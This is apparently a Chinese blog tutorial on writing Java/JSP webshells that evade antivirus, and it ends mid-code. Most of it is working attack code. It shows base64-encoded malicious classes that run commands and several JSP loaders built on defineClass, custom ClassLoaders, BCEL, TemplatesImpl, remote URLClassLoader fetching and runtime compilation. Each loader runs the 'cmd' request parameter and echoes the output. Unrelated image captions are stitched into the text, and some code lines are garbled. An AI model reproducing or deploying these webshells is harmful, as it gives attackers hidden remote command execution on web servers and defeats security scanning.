这种方式简单的说就是用ideal将java文件编程成class文件,然后将class读取出来用base64编码即可,这种方式比较方便简单,不需要会使用ASM,javassist等字节码框架。

package com.demo;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.util.Base64;

public class Demo {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        FileChannel fileChannel = null;
        FileInputStream in = null;

        in = new FileInputStream("C:\Users\12107\Desktop\免杀\target\classes\com\demo\Shell.class");
        fileChannel = in.getChannel();
        ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size());

        while (fileChannel.read(buffer) > 0) {
        }

        System.out.println(new String(Base64.getEncoder().encode(buffer.array())));

    }
}

Shell.java

package com.demo;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Shell {

    public static String runs(String cmd) throws IOException {
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream is = process.getInputStream();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
        String r = "";
        String s = "";
        while((= bufferedReader.readLine())!=null){
            s += r;
        }
        return s;
    }

}

javassist生成字节码

javassist是生成修改字节码的框架,使用比ASM更简洁,但是并非jvm自带的库,也是笔者非常喜欢的一个框架。

package com.demo;

import javassist.*;

import java.io.IOException;
import java.util.Base64;

public class Demo2 {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();

        CtClass cc1 = classPool.makeClass("com.demo.Shell");

        CtConstructor cons = new CtConstructor(new CtClass[]{},cc1);
        cons.setBody("{}");
        String runCode1="{}";
        cons.insertBefore((runCode1));
        cc1.addConstructor(cons);

        CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1);
        cm2.setModifiers(Modifier.PUBLIC);
        cm2.setBody("{        Process process = Runtime.getRuntime().exec($1);n" +
                "        java.io.InputStream is = process.getInputStream();n" +
                "        java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));n" +
                "        String r = "";n" +
                "        String s = "";n" +
                "        while((r = bufferedReader.readLine())!=null){n" +
                "            s += r;n" +
                "        }n" +
                "        return s;}");
        cc1.addMethod(cm2);
        System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));

    }
}

ASM生成字节码

ASM相比javassist操作更复杂,但是jvm自带,利用面非常广

package com.demo;

import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;


public class Demo2 {
    public static void main(String[] args){

        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
        cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);

        MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
        mw.visitVarInsn(ALOAD, 0);
        mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false);
        mw.visitInsn(RETURN);
        mw.visitMaxs(1, 1);
        mw.visitEnd();

        MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs",
                "(Ljava/lang/String;)Ljava/lang/Process;", null, null);
        mw2.visitCode();
        mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
                "()Ljava/lang/Runtime;",false);
        mw2.visitVarInsn(ALOAD,1);
        mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
        mw2.visitInsn(ARETURN);
        mw2.visitMaxs(10, 3);
        mw2.visitEnd();
        byte[] code = cw.toByteArray();
        System.out.println(new String(Base64.getEncoder().encode(code)));

    }
}

这里由于ASM操作比较复杂,就先生成一个简单的字节码(前面javac和javassist笔者写的回显都是在字节码这,这ASM回显的内容就先不放在ASM中生成),由于runs函数的返回值为Process,我们只需要在后面的jsp处理中拿出来用即可。

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%


  ClassLoader loader = new ClassLoader() {
    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
      if(name.contains("com.demo.Shell")){
        return findClass(name);
      }
      return super.loadClass(name);
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
      try {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAFQEADmNvbS9kZW1vL1NoZWxsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgwABQAGCgAEAAcBAARydW5zAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1J1bnRpbWUHAAsBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAANAA4KAAwADwEABGV4ZWMMABEACgoADAASAQAEQ29kZQABAAIABAAAAAAAAgABAAUABgABABQAAAARAAEAAQAAAAUqtwAIsQAAAAAAAQAJAAoAAQAUAAAAFAAKAAIAAAAIuAAQK7YAE7AAAAAAAAA=");
        PermissionCollection pc = new Permissions();
        pc.add(new AllPermission());
        ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
        return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
      } catch (Exception e) {
        e.printStackTrace();
      }
      return super.findClass(name);
    }
  };

  String cmd = request.getParameter("cmd");
  Class<?> shell = loader.loadClass("com.demo.Shell");

  Object object =  shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);

  Process o2 = (Process)dm.invoke(object, cmd);
  InputStream is = o2.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = "";
  String s = "";
  while((= bufferedReader.readLine())!=null){
    s += r;
  }
  response.getWriter().println(s);

%>

免杀修改

MacOS 水坑攻击组合拳分析复现
18.png

MacOS 水坑攻击组合拳分析复现
19.png

defindClass免杀

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.nio.channels.FileChannel" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
  Method defineClass =
          ClassLoader.class.getDeclaredMethod("defineClass", String.class,
                  byte[].class, int.class, int.class);
  defineClass.setAccessible(true);

  byte[] bytes =  Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");

  Class shell = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.demo.Shell", bytes, 0, bytes.length);
  Object object =  shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);
  Object invoke = dm.invoke(object, "calc");
%>

免杀效果:

MacOS 水坑攻击组合拳分析复现
1.png

MacOS 水坑攻击组合拳分析复现
2.png

虽然用原始的defindClass虽然能到达免杀效果,但是由于没有重写loadClass,findClass,没有打破双亲委派,导致恶意的字节码被加载后,再次访问网页的时候,类不会被生成,导致不能正常使用

自定义classloader免杀

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%


  ClassLoader loader = new ClassLoader() {
    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
      if(name.contains("com.demo.Shell")){
        return findClass(name);
      }
      return super.loadClass(name);
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
      try {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
        PermissionCollection pc = new Permissions();
        pc.add(new AllPermission());
        ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
        return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
      } catch (Exception e) {
        e.printStackTrace();
      }
      return super.findClass(name);
    }
  };

  String cmd = request.getParameter("cmd");
  Class<?> shell = loader.loadClass("com.demo.Shell");

  Object object =  shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);

  response.getWriter().println(dm.invoke(object, cmd));

%>

MacOS 水坑攻击组合拳分析复现
3.png

免杀效果:

MacOS 水坑攻击组合拳分析复现
4.png

MacOS 水坑攻击组合拳分析复现
5.png

BCEL字节码免杀

Apache Commons BCEL被包含在了JDK的原生库中,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码,但是com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题,在JDK7以上版本被移除,导致BCEL字节码的利用变得很局限。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %>
<%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %>
<%
  byte[] bytes =  Base64.decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
  String code = Utility.encode(bytes, true);
  String bcelCode = "$$BCEL$$" + code;
  com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();

  Class<?> shell = bcelClassLoader.loadClass(bcelCode);
  Object object = shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);

  String cmd = request.getParameter("cmd");
  response.getWriter().println(dm.invoke(object, cmd));

%>

MacOS 水坑攻击组合拳分析复现
6.png

MacOS 水坑攻击组合拳分析复现
7.png

TemplatesImpl 加载字节码

TemplatesImpl是fastjson反序列化漏洞中常用的对象之一,但是由于在TemplatesImpl触发漏洞点只是调用个无参构造,导致恶意类的类方法无法被调用,只能将恶意代码插入到无参构造方法,或者静态代码块中。

package com.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Shell extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

注意:

这里的类必须继承自AbstractTranslet

<%@ page import="java.util.Base64" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %>
<%
  class Demo {
    private void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, fieldValue);
    }
    public Demo(String s) {
      try {
        byte[] codes = Base64.getDecoder().decode(s);
        byte[][] _bytecodes = new byte[][] {
                codes,
        };
        TemplatesImpl templates = new TemplatesImpl();
        setFiledValue(templates, "_bytecodes", _bytecodes);
        setFiledValue(templates, "_name", "whatever");
        setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
      } catch (Exception e) {
        e.printStackTrace();
      }
    }
  }
  new Demo("yv66vgAAADQAZgoAEwA/CgBAAEEKAEAAQgoAQwBEBwBFBwBGCgAGAEcKAAUASAgASQoABQBKBwBLCgALAD8KAAsATAoACwBNCABOBwBPCgAQAFAHAFEHAFIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExjb20vZGVtby9TaGVsbDsBAARydW5zAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmlzAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAFyAQABcwEADVN0YWNrTWFwVGFibGUHAFMHAFQHAFUHAEUBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAVgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBPAQAKU291cmNlRmlsZQEAClNoZWxsLmphdmEMABQAFQcAVwwAWABZDABaAFsHAFQMAFwAXQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAUAF4MABQAXwEAAAwAYABhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAGIAYwwAZABhAQAEY2FsYwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAGUAFQEADmNvbS9kZW1vL1NoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA9wcmludFN0YWNrVHJhY2UAIQASABMAAAAAAAUAAQAUABUAAQAWAAAALwABAAEAAAAFKrcAAbEAAAACABcAAAAGAAEAAAAOABgAAAAMAAEAAAAFABkAGgAAAAkAGwAcAAIAFgAAAOUABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAMAFwAAACIACAAAABcACAAYAA0AGQAdABoAIQAbACUAHAAvAB0ASAAfABgAAAA+AAYAAABLAB0AHgAAAAgAQwAfACAAAQANAD4AIQAiAAIAHQAuACMAJAADACEAKgAlAB4ABAAlACYAJgAeAAUAJwAAABwAAv8AJQAGBwAoBwApBwAqBwArBwAoBwAoAAAiACwAAAAEAAEAEAABAC0ALgACABYAAAA/AAAAAwAAAAGxAAAAAgAXAAAABgABAAAAJQAYAAAAIAADAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADEAMgACACwAAAAEAAEAMwABAC0ANAACABYAAABJAAAABAAAAAGxAAAAAgAXAAAABgABAAAAKgAYAAAAKgAEAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADUANgACAAAAAQA3ADgAAwAsAAAABAABADMACAA5ABUAAQAWAAAAYQACAAEAAAASuAACEg+2AANXpwAISyq2ABGxAAEAAAAJAAwAEAADABcAAAAWAAUAAAARAAkAFAAMABIADQATABEAFQAYAAAADAABAA0ABAA6ADsAAAAnAAAABwACTAcAPAQAAQA9AAAAAgA+");

%>

在这里由于不能调用恶意类的类方法和有参构造,导致无法动态的执行命令,虽然如此但依旧可能利用ASM,javassist这些字节码框架来动态生成恶意类,进行动态的调用命令,在本文先不在探讨如何利用, 利用的方式将会在后期文章中讲解。

MacOS 水坑攻击组合拳分析复现
8.png

MacOS 水坑攻击组合拳分析复现
9.png

URLClassLoader本地加载

URLClassLoader一般有两种利用方式,一种是远程加载class文件,一种是本地加载class文件。

远程加载class文件免杀:

直接利用远程在家class文件的好处是代码量少,特征少。但是由于需要一个外网主机作为服务器,远程可能存在着被溯源的可能性。

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%
  String cmd = request.getParameter("cmd");
  URL url = new URL("http://127.0.0.1:8000/");
  URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
  System.out.println("父类加载器:" + classLoader.getParent()); // 默认父类加载器是系统类加载器
  Class shell = classLoader.loadClass("com.demo.Shell");
  Object object =  shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);
  Object invoke = dm.invoke(object, cmd);
  response.getWriter().println(invoke);

%>

MacOS 水坑攻击组合拳分析复现
10.png

这里讲解一下服务端如何搭建:

第一步:在一个文件夹中使用python开启一个http服务

python -m http.server

MacOS 水坑攻击组合拳分析复现
11.png

第二步:将编译好的class文件,根据全限定类名创建相应的文件夹,并导入class文件

MacOS 水坑攻击组合拳分析复现
12.png

以上两步即可完成搭建

免杀效果:

MacOS 水坑攻击组合拳分析复现
13.png

MacOS 水坑攻击组合拳分析复现
14.png

JavaCompiler本地class文件免杀:

该免杀方式为先写入一个java马,利用JavaCompiler将其在jvm运行时编译成class文件,及javac动态编译,在利用urlclassloader加载编译好的class文件,为了消除特征以下的base64编码的内容就是之前写好的webshell代码。由于这种方式会创建java,class文件,为了隐蔽性,在这里将删除的文件在进行了删除处理。

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.FileWriter" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.tools.JavaCompiler" %>
<%@ page import="javax.tools.ToolProvider" %>
<%@ page import="java.io.File" %>

<%

  class delete{
    public void deleteDir(File directory){
      File files[] = directory.listFiles();
      for (File file : files) {
        if(file.isDirectory()){
          deleteDir(file);
        }else {
          file.delete();
        }
      }
      directory.delete();
    }
  }

  String cmd = request.getParameter("cmd");
